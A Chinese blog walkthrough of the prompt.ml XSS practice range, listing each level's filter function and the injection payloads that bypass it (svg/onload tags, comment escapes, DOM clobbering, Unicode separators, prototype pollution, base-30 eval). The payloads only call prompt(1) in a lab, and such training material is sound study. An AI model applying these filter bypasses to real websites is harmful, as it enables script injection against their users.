httpprompt.ml靶场练习

共黄昏

已于 2022-08-03 19:36:33 修改

阅读量282

点赞数 1

分类专栏：渗透测试文章标签： javascript 前端 java

于 2022-07-30 13:12:12 首次发布

本文链接：https://blog.csdn.net/weixin_49472648/article/details/126071005

版权

渗透测试专栏收录该内容

19 篇文章 5 订阅

订阅专栏

httpprompt.ml靶场

靶场链接：

prompt(1) to win - 0x0

第0关

题目：

function escape(input) {
    // warm up
    // script should be executed without user interaction
    return '<input type="text" value="' + input + '">';
}

解题思路：

直接将input标签即可。

payload：

"><script>prompt(1)</script>
或
"><svg/οnlοad="prompt(1)

注释：svg属于html标签

第1关

题目：

function escape(input) {
    // tags stripping mechanism from ExtJS library
    // Ext.util.Format.stripTags
    var stripTagsRE = /<\/?[^>]+>/gi;
    input = input.replace(stripTagsRE, '');

    return '<article>' + input + '</article>';
}

解题思路：

这道题通过正则匹配，对<>进行匹配，并将其替换为空。所以不能使用完整的<>，html在解析中有一种纠错机制，并不需要写完整的<>也能执行，前提是该标签是HTML标签,如svg标签于img标签不用写后面的>也能执行。

payload:

<svg/onload="prompt(1)"
或
<img src=1 onerror="prompt(1)"

第2关

题目：

function escape(input) {
    //                      v-- frowny face
    input = input.replace(/[=(]/g, '');

    // ok seriously, disallows equal signs and open parenthesis
    return input;
}

解题思路：

这道题将=和(替换为空，可以采用编码的方式进行绕过。因为js只解析字符串和标识符，所以通过将(编码为unicode是无法解析的，需要将其转为实体编码，所以需要加上<svg>标签。svg是一个文本集成点，能够切换命名空间，在svg标签的命名空间中使用的是xml格式，能够解析实体编码。

payload:

采用svg标签

<svg><script>prompt&#40;1)</script>

<script>eval.call`${'prompt\x281)'}`</script>
<script>prompt.call`${1}`</script>

第3关

题目：

function escape(input) {
    // filter potential comment end delimiters
    input = input.replace(/->/g, '_');

    // comment the input to avoid script execution
    return '<!-- ' + input + ' -->';
}

解题思路：

本题将->替换成_，并且输入的内容处于注释之中，可以通过闭合的方式逃出注释。

payload:

--!><script>prompt(1)</script>

第4关

题目：

function escape(input) {
    // make sure the script belongs to own site
    // sample script: http://prompt.ml/js/test.js
    if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
        var script = document.createElement('script');
        script.src = input;
        return script.outerHTML;
    } else {
        return 'Invalid resource.';
    }
}

解题思路：

这道题限制开头必须为https://prompt.ml/这个网址，因为有网址所以我们可以采用重定向的方式进行绕过。

payload:

http://prompt.ml%2f@localhost/a.js
http://prompt.ml%2f@127.0.0.1/a.js

a.js文件中写入的内容：

prompt(1)

第5关

题目：

function escape(input) {
    // apply strict filter rules of level 0
    // filter ">" and event handlers
    input = input.replace(/>|on.+?=|focus/gi, '_');

    return '<input value="' + input + '" type="text">';
}

解题思路：

本题过滤了>、onxxxx=和focus，所以在这里无法使用autofocus了。但是这里可以将input标签的type类型覆盖了，比如说将之覆盖成image类型，然后可以利用οnerrοr=，使用换行绕过即可（这利用到了HTML可以多行执行的特点）。

payload:

" type=image src=0  onerror
="prompt(1)

第6关

题目：

 Text Viewer
function escape(input) {
    // let's do a post redirection
    try {
        // pass in formURL#formDataJSON
        // e.g. http://httpbin.org/post#{"name":"Matt"}
        var segments = input.split('#');
        var formURL = segments[0];
        var formData = JSON.parse(segments[1]);

        var form = document.createElement('form');
        form.action = formURL;
        form.method = 'post';

        for (var i in formData) {
            var input = form.appendChild(document.createElement('input'));
            input.name = i;
            input.setAttribute('value', formData[i]);
        }

        return form.outerHTML + '                         \n\
<script>                                                  \n\
    // forbid javascript: or vbscript: and data: stuff    \n\
    if (!/script:|data:/i.test(document.forms[0].action)) \n\
        document.forms[0].submit();                       \n\
    else                                                  \n\
        document.write("Action forbidden.")               \n\
</script>                                                 \n\
        ';
    } catch (e) {
        return 'Invalid form data.';
    }
}

解题思路：

分析源码可以看到，大概是由#分割，前面赋给form.action，使method=post，后面以json格式赋给formdata，把formdata中的属性循环赋给了input。后面满足forms.action存在即执行提交，所以这里使用js伪协议。由于允许我们创建我们自己的输入，这些输入可以用来破坏窗体的action属性。由于DOM破坏，document.forms [0] .action将返回我们新创建的输入字段而不是实际的action属性，因此可以执行JavaScript。

payload:

javascript:prompt(1)#{"action":1}

第7关

题目：

function escape(input) {
    // pass in something like dog#cat#bird#mouse...
    var segments = input.split('#');
    return segments.map(function(title) {
        // title can only contain 12 characters
        return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
    }).join('\n');
}

解题思路：

本题根据#分离，每一部分赋给一个title并处于一个新的P标签中，如果超过12字符，就截取前12个。

payload_1:

"><script>/*#*/prompt/*#*/(1)/*#*/</script>

消去注释部分的内容后为：

<p class="comment" title=""><script>prompt(1)</script>"></p>

payload_2:

"><svg/a=#"onload='/*#*/prompt(1)'

消去注释部分的内容后为：

<p class="comment" title=""><svg/a="></p>
<p class="comment" title=""onload='prompt(1)'"></p>

第8关

题目：

function escape(input) {
    // prevent input from getting out of comment
    // strip off line-breaks and stuff
    input = input.replace(/[\r\n</"]/g, '');

    return '                                \n\
<script>                                    \n\
    // console.log("' + input + '");        \n\
</script> ';
}

解题思路：

本题过滤了\r、\n、<、/、和"。返回了/在/ console.log(“’ + input + '”);中，所以需要绕过过滤规则逃脱出双引号或者本行。可以采用unicode编码的方式进行绕过，对换行符进行编码绕过。

注意：

\u005c，是Unicode中的反斜杠。
\u000D，是Unicode中的回车。
\u0022，是Unicode中的双引号。
\u2028，是Unicode中的行分隔符。
\u2029，是Unicode中的段落分隔符。

payload:

'\u0022)\u2028prompt(1)\u2028-->'

将payload的内容复制道控制台中

将其粘贴进输入框中：

第9关

题目：

function escape(input) {
    // filter potential start-tags
    input = input.replace(/<([a-zA-Z])/g, '<_$1');
    // use all-caps for heading
    input = input.toUpperCase();

    // sample input: you shall not pass! => YOU SHALL NOT PASS!
    return '<h1>' + input + '</h1>';
}

解题思路：

本题是将<>中第一个字母替换为_并且转为大写，例如<abc>中排在第一个的字母（a-z,A-Z），无论大小写都替换为 _，即<abc>替换为<_BC>。
ſ通过大写转换后会变为S，可以通过这种方式绕过。因为js对大小写敏感，所以可以采用重定向的方式绕过。

payload:

<ſcript src="http://127.0.0.1/a.js"></ſcript>

第A关

题目：

function escape(input) {
    // (╯°□°）╯︵ ┻━┻
    input = encodeURIComponent(input).replace(/prompt/g, 'alert');
    // ┬──┬ ノ( ゜-゜ノ) chill out bro
    input = input.replace(/'/g, '');

    // (╯°□°）╯︵ /(.□. \）DONT FLIP ME BRO
    return '<script>' + input + '</script> ';
}

解题思路：

因为在该题中是先将prompt进行替换然后再过滤'，所以可以先将'加入prompt中，利用过滤的先后顺序进行绕过。

payload:

pr'ompt(1)

第B关

题目：

function escape(input) {
    // name should not contain special characters
    var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');

    // data to be parsed as JSON
    var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';

    // directly "parse" data in script context
    return '                                \n\
<script>                                    \n\
    var data = ' + dataString + ';          \n\
    if (data.action === "login")            \n\
        document.write(data.message)        \n\
</script> ';
}

解题思路：

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pRJqo0Ay-1659157785025)(https://s2.loli.net/2022/07/30/SsODMf3vwl9uFKm.png)]

payload:

"(prompt(1))in"

第C关

题目：

function escape(input) {
    // in Soviet Russia...
    input = encodeURIComponent(input).replace(/'/g, '');
    // table flips you!
    input = input.replace(/prompt/g, 'alert');

    // ノ┬─┬ノ ︵ ( \o°o)\
    return '<script>' + input + '</script> ';
}

解题思路：

本题于第A关很像，不过过滤的顺序正好和第A关相反，可以采用转换进制的方式进行绕过，因为再[0-9,a-z]中，t是prompt这几个字符中排在最末的，在30进制中表示29。算上0，t正好处于第30位。

payload:

eval((630038579).toString(30))(1)

第D关

题目：

 function escape(input) {
    // extend method from Underscore library
    // _.extend(destination, *sources) 
    function extend(obj) {
        var source, prop;
        for (var i = 1, length = arguments.length; i < length; i++) {
            source = arguments[i];
            for (prop in source) {
                obj[prop] = source[prop];
            }
        }
        return obj;
    }
    // a simple picture plugin
    try {
        // pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
        var data = JSON.parse(input);
        var config = extend({
            // default image source
            source: 'http://placehold.it/350x150'
        }, JSON.parse(input));
        // forbit invalid image source
        if (/[^\w:\/.]/.test(config.source)) {
            delete config.source;
        }
        // purify the source by stripping off "
        var source = config.source.replace(/"/g, '');
        // insert the content using mustache-ish template
        return '<img src="{{source}}">'.replace('{{source}}', source);
    } catch (e) {
        return 'Invalid image data.';
    }
}

解题思路：

JSON.parse()函数要接受一个json格式的字符串返回json格式的对象，如果传入的参数已经是json格式则会抛出异常，传入的参数被解析成json格式，格式不对则直接返回Invalid image data.，再经由extend()函数处理，extend()函数把默认值替换为指定的值后返回，然后是一个正则判断source对应的值中是否有不属于url的符号，有则删去这个值，将source属性删除
每个对象都会在其内部初始化一个属性，就是proto，当我们访问对象的属性时，如果对象内部不存在这个属性，那么就会去proto里面找这个属性。
那么基本上就是构造{"source":"'","__proto__":{"source":"onerror=prompt(1)"}},由于前面有非法字符'，则会删除，但是在替换的时候由于过滤了",无法闭合，那么正好有一种特殊的替换方式

Pattern	Inserts
$$	Inserts a “$”.
$&	Inserts the matched substring.(插入匹配的子字符串。)
$`	Inserts the portion of the string that precedes the matched substring.(插入字符串中位于匹配子字符串前面的部分。)
$’	Inserts the portion of the string that follows the matched substring.(插入字符串中跟在匹配的子字符串后面的部分。)
$n	Where n is a positive integer less than 100, inserts the nth parenthesized submatch string, provided the first argument was a RegExp object. Note that this is 1-indexed.(其中 n 是小于 100 的正整数，则插入第 n 个带括号的子匹配字符串，前提是第一个参数是 RegExp 对象。请注意，这是 1 索引)

案例展示：

payload:

{"source":"'","__proto__":{"source":"$`οnerrοr=prompt(1)>"}}

第E关

题目：

function escape(input) {
    // I expect this one will have other solutions, so be creative :)
    // mspaint makes all file names in all-caps :(
    // too lazy to convert them back in lower case
    // sample input: prompt.jpg => PROMPT.JPG
    input = input.toUpperCase();
    // only allows images loaded from own host or data URI scheme
    input = input.replace(/\/\/|\w+:/g, 'data:');
    // miscellaneous filtering
    input = input.replace(/[\\&+%\s]|vbs/gi, '_');

    return '<img src="' + input + '">';
}

解题思路：

函数先把输入的内容转换为大写，然后将//和字母换为data:，最后将\\、&、+、%和空白字符，vbs替换为_，所以不能内嵌编码后的字符，由于js大小写敏感，所以只能引用外部脚本。

Data URI是由RFC 2397定义的一种把小文件直接嵌入文档的方案。格式如下:

data:[<MIME type>][;charset=][;base64],<encoded data>

其实整体可以视为三部分，即声明：参数+数据，逗号左边的是各种参数，右边的是数据。

MIME type，表示数据呈现的格式，即指定嵌入数据的MIME。

对于PNG的图片，其格式是image/png，如果没有指定，默认是text/plain。
character set(字符集）大多数被忽略，默认是charset=US-ASCII。如果指定是的数据格式是图片时，字符集将不再使用。
base64，这一部分将表明其数据的编码方式，此处为声明后面的数据的编码是base64，我们可以不必使用base64编码格式，如果那样，我们将使用标准的URL编码方式,形如%XX%XX%XX的格式。

payload:

"><IFRAME/SRC="x:text/html;base64,ICA8U0NSSVBUIC8KU1JDCSA9SFRUUFM6UE1UMS5NTD4JPC9TQ1JJUFQJPD4=

这是网上的解法，但是我尝试以后没有解出来，或许是因为浏览器不支持大写的base64。

第F关

题目：

function escape(input) {
    // sort of spoiler of level 7
    input = input.replace(/\*/g, '');
    // pass in something like dog#cat#bird#mouse...
    var segments = input.split('#');

    return segments.map(function(title, index) {
        // title can only contain 15 characters
        return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'></p>';
    }).join('\n');
}

解题思路：

本题于第7关相似，但是过滤了/*,但是可以采用进行注释，因为属于html 及xml的注释方式，所以需要加加上<svg>标签，在svg标签中支持xml语法。

payload:

"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script>   
"><script>`#${prompt(1)}#`</script>

共黄昏

关注

1
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
httpprompt.ml靶场练习

JSON.parse()函数要接受一个json格式的字符串返回json格式的对象，如果传入的参数已经是json格式则会抛出异常，传入的参数被解析成json格式，格式不对则直接返回Invalidimagedata.，再经由extend()函数处理，extend()函数把默认值替换为指定的值后返回，然后是一个正则判断source对应的值中是否有不属于url的符号，有则删去这个值，将source属性删除。其实整体可以视为三部分，即声明参数+数据，逗号左边的是各种参数，右边的是数据。，可以通过这种方式绕过。....
复制链接

扫一扫

专栏目录